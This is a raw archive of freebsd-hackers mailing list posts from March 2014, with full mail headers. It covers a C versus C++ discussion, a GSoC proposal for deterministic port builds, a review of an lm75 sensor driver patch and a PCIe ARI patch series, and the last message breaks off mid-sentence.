nm3-vm0.bullet.mail.bf1.yahoo.com (nm3-vm0.bullet.mail.bf1.yahoo.com [98.139.212.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D3560CE7 for ; Tue, 18 Mar 2014 08:49:23 +0000 (UTC) Received: from [98.139.215.140] by nm3.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 08:49:17 -0000 Received: from [98.139.211.206] by tm11.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 08:49:17 -0000 Received: from [127.0.0.1] by smtp215.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 08:49:17 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395132557; bh=A8RmWfiZpIApAOivUrGigEodipX9Ymd9b9ye+KsG7b0=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=jttMjUH4/dyWx7Y7ptzAPsqbOqNqAKGsmcX3f1QGthTkOs7n7dSQZyhRHtbeL8g2u/xrwyWbHF9KqACxfTHBr7s80qXWORyvErdNnYg4O6S/cfRrcaKWfFatpo37lqhffZ33DtrCF1ZU4oDr459lO3QJLNVg8dFEqEVhUMhAyWI= X-Yahoo-Newman-Id: 148482.50521.bm@smtp215.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: t9YpAawVM1lwb9JLDzc0BgOorHaqigaSHKSx05iSTS04tNk wPNpWItYK8rZ9PqaHJbRNn4_BJq8GXkx.S5EWJNaKRGuqAFk0tpkDwyy3zlf 7zSm1AVtEY_Vv_5atdxKXUSo2rK26zmTZ47bEywS7fP68AcClFjXXkLGH9Cq aizfXkIdA_N35kjImG1yel81m2lrSSP3EdWramfTaQde4iSTphtyST3aF2xm 1lFiF38VHKArOMB10OHmm2AcfW3mjiRskgGCicDoIOsSWHBvomVI44nb8Ult snLaNBLQ_ZxWZV3REklOXOD8bZCZBeGMLcIY3fpT5XUD.N.irUKqfZ0ybKP7 I7BC3wPp.g8qhSEZuma85CCK2cd2gf.8dnzxSxrOw9wZQhf8kSKCM4xg.kLA 69rIfQAQalT9Ba1Mz55qcyJTLz3McVJGWH_tNqEFM9ICC1_hYmeHbOFoFXg_ PFgmMC8hepyDx6VqNMa2gavVwF70q2OSOFx2S2yCs_xtgakknKLNR3gIPqrk hMdLGbPTEYWbiA7s1tTaWttXUuQ-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.234.184.72] (free7by@117.136.24.205 with xymcookie [106.10.149.123]) by smtp215.mail.bf1.yahoo.com with SMTP; 18 Mar 2014 01:49:17 -0700 PDT References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> <5327FF2A.7080301@gmx.de> Mime-Version: 1.0 (1.0) In-Reply-To: <5327FF2A.7080301@gmx.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <062365AC-AD84-4D07-9812-C35858BD9B01@yahoo.com> X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Tue, 18 Mar 2014 16:49:07 +0800 To: Matthias Andree Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 08:49:24 -0000 Thanks for your kind advice : ) Actually, I bought <> not mainly for improve m= y C++ skills, maybe for improve my English : ) I did some practices in C before, and I find C is a very expressive language= these days, cause sometimes when I programming, I just feel like speaking! For University material, I think no one can choose the past, but once they f= ind their interest, just do what they want to do, forget about the universit= ies, majors, courses, and something related, those were not the point. - by= From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 09:01:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 35B3E274 for ; Tue, 18 Mar 2014 09:01:13 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.15.19]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BD8CEE65 for ; Tue, 18 Mar 2014 09:01:12 +0000 (UTC) Received: from mandree.no-ip.org ([78.49.236.143]) by mail.gmx.com (mrgmx102) with ESMTPSA (Nemesis) id 0LaJWs-1Wpqmf45Ne-00m2jh for ; Tue, 18 Mar 2014 10:01:04 +0100 Received: from [IPv6:::1] (localhost6.localdomain6 [IPv6:::1]) by apollo.emma.line.org (Postfix) with ESMTP id E125823DA2F for ; Tue, 18 Mar 2014 10:01:02 +0100 (CET) Message-ID: <53280B4E.3020808@gmx.de> Date: Tue, 18 Mar 2014 10:01:02 +0100 From: Matthias Andree User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 CC: "freebsd-hackers@freebsd.org" Subject: Re: Something related to C and C++ References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> <5327FF2A.7080301@gmx.de> <062365AC-AD84-4D07-9812-C35858BD9B01@yahoo.com> In-Reply-To: <062365AC-AD84-4D07-9812-C35858BD9B01@yahoo.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:Ni7dJi/v7qxalwrQdnlcZ5gdMDuT6ZJLztKmSK6XbhRNp/fROr3 8QcEybjpK5LAul9vqd0JKM5etyxZHbvtCD22QQ/po/lPGSf5SbFEtHy8C9OwhyRGuZmL5sa wqFGdMSeyPVHgVNDggkkg1vucjhC8qMz0ePsvV4QKcGm/0uqwzUmirmatLVe6bgC+JCQJwv UcZTxUq7gR4FSe3w+djfg== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 09:01:13 -0000 Am 18.03.2014 09:49, schrieb by: > Thanks for your kind advice : ) > Actually, I bought <> not mainly for improve my C++ skills, maybe for improve my English : ) > I did some practices in C before, and I find C is a very expressive language these days, cause sometimes when I programming, I just feel like speaking! Well, C gets long-winded if you start going beyond focused Unix utilities and on towards larger applications, because it is not expressive enough. Be sure not to confuse C and C++ and not to see C++ as C with iostreams or std::string added... In the end, with C you tend to write many lines of code for what you will write in a few in C++. That's not initial learning, though, but once applications get bigger. (Some may see this as violation of Unix principles, but sometimes industry in-house software requirements to not map entirely to Unix paradigms ;-) so let's avoid bike-shedding.) From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 08:38:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 066C4DD8 for ; Tue, 18 Mar 2014 08:38:46 +0000 (UTC) Received: from mail-vc0-x22f.google.com (mail-vc0-x22f.google.com [IPv6:2607:f8b0:400c:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BDCBEC06 for ; Tue, 18 Mar 2014 08:38:45 +0000 (UTC) Received: by mail-vc0-f175.google.com with SMTP id lh14so6786726vcb.20 for ; Tue, 18 Mar 2014 01:38:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=wKsXShxQfxlyPii7BTr1jaVLgepuYE3+dCzf0Sz6J7M=; b=Kydejl9LkVUhtbY9vBT23jg0PQUuerMwwWCfo62EdT08OaLw2r5DFp9vryr+Z0Mfs5 ufXqPkpZ6WRoM0v8mH0kOZts+c4OzOFhPAPPMOx/OfnAd8bPhUs12YYgRXs3IzE33sII mK2DlrVrfCZKrNfK0r+sxH8IM94oPhRdHRvDKFaqWTkm4gEQzjslqROegQERJhOslrkM g9zWfjdUrbi9utwn1xHQELSNk7fJEmuUPOTG7K+8G8W0Fl62/pUj9RaayB0XhjVjDdJ7 Zo8J1Xa4M1pF6jkHDVMJKQ3zR3vVQvNdfvwtl91wVlnK9vaU9Ig1idfv66sGJewsZzsh 2mUg== MIME-Version: 1.0 X-Received: by 10.221.29.196 with SMTP id rz4mr23880258vcb.8.1395131924945; Tue, 18 Mar 2014 01:38:44 -0700 (PDT) Received: by 10.58.47.8 with HTTP; Tue, 18 Mar 2014 01:38:44 -0700 (PDT) Date: Tue, 18 Mar 2014 09:38:44 +0100 Message-ID: Subject: GSoC: Deterministic builds From: Adria Garriga To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Mailman-Approved-At: Tue, 18 Mar 2014 11:31:10 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 08:38:46 -0000 Hello! I'm Adria (rhaps0dy in IRC). I'd love to participate in the GSoC as a FreeBSD student. Here's the project I have in mind, could you please give me some feedback? Deterministic port builds ========================= Scripts to automatically create a jail or bhyve guest where you can build ports deterministically. On any amd64 host, given an updated ports tree, same CFLAGS, and this jail, the result of the build is byte-by-byte equal. Progress towards this has already been made by several free software development teams, most notably the Debian and Bitcoin teams. Debian have several deterministic build scripts and documentation on what hinders the accomplishment of this goal. It's mainly the time, the build path and the locale, so with libfaketime or an appropriate replacement, canonical build paths inside the jail and using the same locale much would be solved. The Bitcoin team has produced Gitian, (https://gitian.org/), a set of scripts that create an Ubuntu virtual machine on qemu and run deterministic builds on it. On the (few) tests I've run, clang{,++} produce deterministic object files. Seeing that this much of work is already done, I can say that this is not enough for two months of intensive work. That's the reason I've come up with these two extensions. Extension one: -------------- Extend the above procedure to more architectures, ideally all architectures supported by FreeBSD (i386, amd64, IA64, sparc64, powerpc and pc98 if I'm not mistaken). This would require more testing work and almost certainly the use of virtual machines instead of cross-compiling environments, further complicated by the fact that I only have access to i386 and amd64 hardware. Extension two: -------------- Create necessary programs for a volunteer-driven compilation farm. This could help compile 'custom' ports for users with slow machines, or redundantly compile and verify the official binary-distributed packages. It would be either p2p or centralised on a server. I'm aware that this is a huge task, too big for a single month (half a year even). The goal of this extension would be to produce software for a low number (at most ten) of hosts assumed to be always up to share compilation resources and redundantly check for differences (draft at http://cf.bagelbox.org/freebsd-farm.png). To further reduce complexity and make it manageable, it will only compile one reasonably big port (for example Firefox) but will be easily extended. I'm specially interested in the second extension, really. The first one is a bit of unpleasant but necessary hard work. What do you think? Thank you very much! Adria From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 14:26:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DB756BC3 for ; Tue, 18 Mar 2014 14:26:41 +0000 (UTC) Received: from mail-ie0-f177.google.com (mail-ie0-f177.google.com [209.85.223.177]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A3DC58BB for ; Tue, 18 Mar 2014 14:26:41 +0000 (UTC) Received: by mail-ie0-f177.google.com with SMTP id rl12so6824666iec.8 for ; Tue, 18 Mar 2014 07:26:41 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=VdaOyZCb9gAucD6vVBy8f5Veejxz/kviyH2SAy09Ts0=; b=SLI92PWEqMx90kQd/2JBz3tqGEOE2JKQa9cLmtjkA5xqw71/4aZV0+Rt80lch9NSML uGNwEN6QIpBLazGc9bZAWHCDLX4DX7pBviTAnKYORS1uBTk+HEyErl5+ifpw8wmzhbg+ 7QOsfHrxKE3NmMcZu2B22/RJ6XMCcZwOebAj8bw+rskUIHWBjywq+DZDdgV982bmVIst Q39mCkwXZ8zKuPh6JOJQ7GURTPR7kGf7xjrQnUcsmaAWi3o/0wok7N0MuPYM/7mS1SIk 5yRzPBFoeOwyia67X4AfOOTdEoFUDhVsf60hZHuPr+wmIsWK/3o0makTG8u4LcJkUFgS sjwA== X-Gm-Message-State: ALoCoQm5kJJwIzFXVmgMhdB7tbgDUcPiEMAO9YHBoQcicpMe6tOKhdzHaTLE/Vo1oGRftQE4bLUQ X-Received: by 10.42.62.143 with SMTP id y15mr24657440ich.14.1395152800982; Tue, 18 Mar 2014 07:26:40 -0700 (PDT) Received: from [172.29.91.92] (63-156-62-129.dia.static.qwest.net. [63.156.62.129]) by mx.google.com with ESMTPSA id r4sm26659469igh.1.2014.03.18.07.26.40 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Mar 2014 07:26:40 -0700 (PDT) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [RFC] lm75 kernel driver and bsnmp module From: Warner Losh In-Reply-To: Date: Tue, 18 Mar 2014 08:26:39 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <4B0E494C-A289-435C-89AA-29DEB1A4EAD9@gmail.com> References: To: Luiz Otavio O Souza X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 14:26:41 -0000 On Mar 17, 2014, at 8:11 AM, Luiz Otavio O Souza = wrote: > +#ifdef FDT +static struct ofw_compat_data compat_data[] =3D { + { "freebsd,lm75", HWTYPE_LM75 }, + { "freebsd,lm75a", HWTYPE_LM75A }, + { NULL, HWTYPE_NONE }, +}; +#endif Is there a FDT standard here? It seems like they would fall under the =93national,lm75=94 bindings that are defined in the =93standard=94 FDT = spec. You can find it listed in the =91device-tree/Bindings/i2c/trivial-devices.txt=92= file in Linux, or in a similar location in the device-tree vendor tree in = FreeBSD. It isn=92t clear that both devices can=92t be handled with the same = driver, since the extra bits are supposed to be clear and so the extra if=92s here: + if (sc->sc_hwtype =3D=3D HWTYPE_LM75A) { + if (buf & LM75_0125C) + t +=3D 125; + if (buf & LM75_0250C) + t +=3D 250; + } + if (buf & LM75_0500C) + t +=3D 500; which just leaves device type reporting. The only reason I mention is is = that Linux doesn=92t seem to differentiate the two at the FDT level. + sc->sc_hwtype =3D ofw_bus_search_compatible(dev, = compat_data)->ocd_data; I don=92t think that the NULL binding is guaranteed to work that way, so I=92d suggest dropping the NULL line above and testing explicitly for = NULL here instead. Finally, is pausing for hz on read/write errors the right thing to do? = Seems like a very long time... Warner From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 15:44:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2774F7E0 for ; Tue, 18 Mar 2014 15:44:11 +0000 (UTC) Received: from mail-we0-x233.google.com (mail-we0-x233.google.com [IPv6:2a00:1450:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A722834B for ; Tue, 18 Mar 2014 15:44:10 +0000 (UTC) Received: by mail-we0-f179.google.com with SMTP id x48so6094359wes.10 for ; Tue, 18 Mar 2014 08:44:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:content-type; bh=UEIOMSYYnZTW4JFIJmlaiQ69Nhm4IKB0fYtNriTWRyE=; b=FOGZQ/4pK14bwNQaCOqK/LExKUnGiXjk4TGHCDrOSR5O2izq534hJN6vZrP/t6mKKk URmr5KDCQN6ygVelKpp28aNnaYj026Wv2R4owky4UUhRJi/edY8/oo1n6jy9+4YW7z7z U67Y++whywYHh9Yhuk4CMofLm159avAqPyJYXxcpEX7TrO4gEt9c/2YyRLTA/zBywLYZ Y+yxOG8GXsrzF+6ZS3BVlKab3SisVtCL7BF2XmyXh+FlJ/ivOdKcmls4sg8YscaIS/no K5ihcUoKQjsOuHlxGPTKOqcatD8RwdQfxbdTieNVjqLCyhyvAz7wCTbKkXHN6MijPDl2 1lvQ== MIME-Version: 1.0 X-Received: by 10.194.20.229 with SMTP id q5mr998671wje.86.1395157449098; Tue, 18 Mar 2014 08:44:09 -0700 (PDT) Received: by 10.194.206.68 with HTTP; Tue, 18 Mar 2014 08:44:09 -0700 (PDT) Received: by 10.194.206.68 with HTTP; Tue, 18 Mar 2014 08:44:09 -0700 (PDT) In-Reply-To: References: Date: Tue, 18 Mar 2014 19:44:09 +0400 Message-ID: Subject: Re: Something related to C and C++ From: Dmitry Selyutin To: by , freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 15:44:11 -0000 Hi, I'd like to share my knowledge. I have been studying neither C nor C++ for twenty years, but I think that my experience is large enough to just tell may opinion without insisting on it. I've written the next part of message to show how my programmer's past may have changed my opinion; you can miss this part and just read the rest. I've heard that programmers usually learn assembler, then C, then more high-level languages like C++, Java, Python, etc. It's not the truth in my case: when I've migrated from Windows, I've never written programs before. Soon after my "migration" I've understood that I really need to.know how this "command line" works, so I started to learn bash. Then I realized that bash is not suitable for most of tasks; I began to find language which could be easy and where everything I could acquire out-of-box. I finally selected Python and started to learn it; even now Python is my favorite language for small tasks. But when I realized that some Python's features don't fit well my ambitions (e.g. global iterpreter lock, slowness, etc.), I was between C and C++ to choose from. Due to OOP which was in Python I've selected C++; first I enjoyed programming it, but the happiness ended when I understood templates and overloading pros and cons better. I've finally felt that I need C++ without such kind of things; of course,I knew that due to syntactic sugar C++ fits better for several needs, but I was really tired of C++ complexity and wanted to learn a new language. I've neither returned to C++ since this time nor ever wanted; I really like C simplicity, while even now like OOP concepts. I really dislike templates et overloading enough to use C language. Moreover, I particularly dislike how C++ understands OOP, such understanding seems to be dubious to me (comparing with Smalltalk, Objective C or Python). It may be more difficult to write object-oriented code in C than in C++ since C has no such syntactic constructions as C++, but it is easy enough. C++ seems to be too heavy and huge comparing with C; sometimes it is better, sometimes it is worse than C. You need to choose tool appropriate for your task. I feel that Unix world requires C understanding, while it can live without C++ knowledge. =D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC, =D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B9 =D0=A1=D0=B5=D0=BB=D1=8E=D1=82= =D0=B8=D0=BD 17.03.2014 6:24 =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0= =B5=D0=BB=D1=8C "by" =D0=BD=D0=B0=D0=BF=D0=B8=D1=81=D0= =B0=D0=BB: > Hi, > At first, I would say, I do not want to lead to a holy war between > programming languages, and I am a newbie in this field, but I am confused > about this, so I want get some answers or discusses from here to help me > thinking about this. > I found that in IT industry, C++ has more and more users, I can understan= d > why they do this, C++ can make them build system more easy than C does. > okay, I just know a little about C++, but in my feeling, C++ can make you > do things in a higher place. > Yes, C++ is great, but for me, it is too difficult, or I would say, it is > too complicated. I got two books in my hand, one is < Language>>, another is <>. Just consider fr= om > the weight : ) You can find something. > In the past, GCC use C, but now it turn to C++, and LLVM is written by C+= +. > Yes I prefer C now, and you may say, you have not use these two languages > deeply, how could you judge them? Yes, I know I should not judge them, bu= t > as a newbie, this is my very feeling, just like a kid first looking at th= is > world! Simple, but confused. > At last, I am not lead to a holy war between programming languages, I jus= t > confused and want some related answers. This is it. > : ) > > - by > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 17:02:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 918779F4 for ; Tue, 18 Mar 2014 17:02:58 +0000 (UTC) Received: from nm34-vm5.bullet.mail.bf1.yahoo.com (nm34-vm5.bullet.mail.bf1.yahoo.com [72.30.239.77]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2A622E9B for ; Tue, 18 Mar 2014 17:02:57 +0000 (UTC) Received: from [98.139.212.150] by nm34.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 17:00:15 -0000 Received: from [98.139.211.192] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 17:00:15 -0000 Received: from [127.0.0.1] by smtp201.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 17:00:15 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395162015; bh=EjFHQlkpkWnOF6zA6JiyT5xJBs7T9dP6/UIJjCTxoe8=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=WN/KYczEJO9GA0p82rrEjNpz7zk8S1qFqwc7z8ZhpIKg01qk1Et4tQq0b1fqblTQr8dlDBb4isAzGsSohLz701H58ZiADtXIjRV+AH8yuUqbmBBLmdfw/NWYemSdZZti+a62FyHI09DbPDCsc476wkU+g/mN5GZFEB/mjoNcSDI= X-Yahoo-Newman-Id: 182834.74460.bm@smtp201.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: H9pWjQ4VM1lPzAFVfyZoTou4mHqCmGDoQIUbvfPzbrO.s.R Uv7NlTaIlyDo7dGZBsjBsZbBYmhHrLTjxYXunxKmmIg092FDgEcbiw0wk0iJ ysCh8w7FvFUVMz.42ngMos02IORQ9WMKbUDoKMUDXfPFnD.WhysnP3pcpMKX 6jNJAR8_gwg8Kv3L2MV2Z1Y1D9xNaUKlVpmIfI8tglj_fq0uqGXXWy4k4dTb 8O56YMbWe1wRrfa0UDDGWjDnNlGpcfNsF756FlRaXRiddXSC3K5dKe2MH08h vOG_3dYkFPWBv9JGgFAf_so5tXYS.mZgassMb80chpLdyw_Ai4LZFHxYKezl pcMTJypJd.0YelMhcYN24bGGzWY_L05SSaTmiFVfyMDnsxteryNi4VxNesh9 Uv4AZC5VJlxCXzukh.ncGAFfDmKSY2vXW3h.oLWCj5lnQCFiroSy9I6J8gO8 i_5ySDTf_0debmhLJBTvlckuDBQEAE4PCOj5ZxlZK_T0ap7tjLVh7TUeYBZs G3C5fzcQP X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.234.184.72] (free7by@117.136.24.205 with xymcookie [106.10.149.123]) by smtp201.mail.bf1.yahoo.com with SMTP; 18 Mar 2014 10:00:15 -0700 PDT References: Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <72BD7F5E-190C-44AA-811A-15AAA0F59B3E@yahoo.com> X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Wed, 19 Mar 2014 01:00:04 +0800 To: "ghostmansd@gmail.com" Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 17:02:58 -0000 Hi, I have not do enough practice in programming, but I think the way programmin= g is indeed the way people thinking, different people got different ways of t= hinking, as a programmer, the way you thinking reflects your choice or prefe= r or the way you solve problems. - by= From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 17:51:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E90ABB71 for ; Tue, 18 Mar 2014 17:51:47 +0000 (UTC) Received: from mail-ob0-x22e.google.com (mail-ob0-x22e.google.com [IPv6:2607:f8b0:4003:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AD623676 for ; Tue, 18 Mar 2014 17:51:47 +0000 (UTC) Received: by mail-ob0-f174.google.com with SMTP id wo20so7226491obc.19 for ; Tue, 18 Mar 2014 10:51:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=6tTEs9IkBFypcPwhbDkP/lLzVvBlvK9GYALt7Nelbrk=; b=C4KJQnXhbKCPfVfXpS0zD0QkWAYVZ7zvKZeHD1+/jUteKkcWL/c4e8B7ymNsWxtK02 JCwjy5K3v+jnt9d3Wu8sKrjN+JE3niedZpwTd6ZRbOMdNJ/TRcTY//3XkexODvZn11+L iQVYEk8fbwibXOknmFY9J28ciTmMXnqur5NxpGKfXLZWVZ1iN/8xZ/qVIdPzEjR85fYj i/vro7zPmNUiN9x+P2V5yZLbc9dVvZWzz9Wb5Dt2ExAjkfVaqpTxTgQJleZI50awosq7 HoWINPYg7S44R7YstHlsdFa8iwU/Gv6AceuzYGfJ1ZU32CGHUBGXsiV8MoqywsJ4lxwb DWAw== MIME-Version: 1.0 X-Received: by 10.182.65.199 with SMTP id z7mr25183589obs.7.1395165107124; Tue, 18 Mar 2014 10:51:47 -0700 (PDT) Received: by 10.76.115.129 with HTTP; Tue, 18 Mar 2014 10:51:47 -0700 (PDT) In-Reply-To: References: <20140316141216.GA21331@kib.kiev.ua> Date: Tue, 18 Mar 2014 13:51:47 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Neel Natu Content-Type: text/plain; charset=ISO-8859-1 Cc: Konstantin Belousov , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 17:51:48 -0000 On Mon, Mar 17, 2014 at 5:20 PM, Neel Natu wrote: > Hi Ryan, > In any case it seems that the VT-d implementation in bhyve will work > fine with ARI enabled devices. There was an assert that would trip for the function number being greater than 8. I've put together the following patch series: http://people.freebsd.org/~rstone/patches/ari/0001-Add-a-method-to-get-the-PCI-RID-for-a-device.patch This adds a method to get the RID that will be consumed by the VT-d drivers. This patch is non-ARI only. http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-I-O-MMU-code-in-terms-of-PCI-R.patch This reworks the busdma DMAR code to work in terms of RIDs where necessary. This should be a no-op. I tested this with hw.dmar.enable=1 on a Nehalem with the em driver and a Sandy Bridge with the igb and ixgbe driver and was able to pass traffic. http://people.freebsd.org/~rstone/patches/ari/0003-Re-write-bhyve-s-I-O-MMU-handling-in-terms-of-PCI-RI.patch Same thing, but for bhyve. I'm not sure that passing the rid down to the CPU-dependent layer is the right thing to do, because I'm not sure what the AMD VT-d equivalent requires. Should I just pass down the entire device_t and let the 